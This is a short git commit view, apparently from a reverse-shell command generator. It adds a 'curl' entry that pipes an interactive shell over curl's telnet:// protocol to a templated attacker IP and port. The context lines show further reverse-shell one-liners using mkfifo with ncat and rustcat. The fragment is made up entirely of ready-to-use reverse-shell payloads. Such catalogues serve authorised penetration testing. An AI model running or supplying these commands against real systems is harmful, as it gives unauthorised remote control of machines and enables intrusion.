Add curl reverse shell

This commit is contained in:
Sébastien Copin 2023-10-11 14:04:24 +02:00
parent d9f1387db1
commit 049ce74bb5

View File

@ -86,6 +86,11 @@ const reverseShellCommands = withCommandType(
"command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u {ip} {port} >/tmp/f",
"meta": ["linux", "mac"]
},
{
"name": "curl",
"command": "C='curl -Ns telnet://{ip}:{port}'; $C </dev/null 2>&1 | {shell} 2>&1 | $C >/dev/null",
"meta": ["linux", "mac"]
},
{
"name": "rustcat",
"command": "rcat connect -s {shell} {ip} {port}",